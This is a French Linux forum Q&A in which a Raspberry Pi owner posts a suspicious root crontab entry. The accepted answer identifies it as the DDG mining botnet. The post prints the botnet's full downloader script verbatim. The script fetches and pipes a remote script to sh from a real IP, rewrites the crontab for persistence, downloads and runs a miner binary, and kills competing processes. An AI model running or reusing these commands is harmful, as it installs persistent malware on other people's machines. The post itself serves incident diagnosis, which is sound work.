GNU/Linux >> Tutoriels Linux >  >> Linux

Entrée Crontab suspecte exécutant 'xribfa4' toutes les 15 minutes ?

Je voulais ajouter quelque chose à mon fichier crontab racine sur mon Raspberry Pi, et j'ai trouvé une entrée qui me semble suspecte, la recherche de parties sur Google n'a rien donné.

Entrée Crontab :

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

Le contenu de http://103.219.112.66:8000/i.sh sont :

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

Ma connaissance de Linux est limitée, mais il me semble que télécharger des binaires à partir d'un serveur indonésien et les exécuter régulièrement en tant que root n'est pas quelque chose d'habituel.

Qu'est-ce que c'est? Que dois-je faire ?

Réponse acceptée :

C'est un botnet minier DDG, comment ça marche :

  1. exploiter une vulnérabilité RCE
  2. modifier la crontab
  3. télécharger le programme de minage approprié (écrit avec go)
  4. démarrage du processus de minage

DDG :un botnet minier ciblant les serveurs de bases de données

SystemdMiner lorsqu'un botnet emprunte l'infrastructure d'un autre botnet

U&L :Comment puis-je tuer les logiciels malveillants minerd sur une instance AWS EC2 ? (serveur compromis)


Linux
  1. exécuter une commande sur chaque ligne d'un fichier texte

  2. Vérifier qu'un script est en cours d'exécution ?

  3. Exécution d'une tâche cron sous Linux toutes les six heures

  4. Comment exécuter le travail crontab chaque semaine le dimanche

  5. crontab exécuté toutes les 15 minutes entre certaines heures

Comment exécuter des tâches Cron toutes les 5, 10 ou 15 minutes

Comment exécuter une tâche Crontab chaque semaine le dimanche

HDDTemp crontab toutes les heures dans le fichier

Exemple Crontab – toutes les 5 minutes

Comment puis-je exécuter une tâche cron toutes les 30 minutes ?

Lancer Cron toutes les 2 heures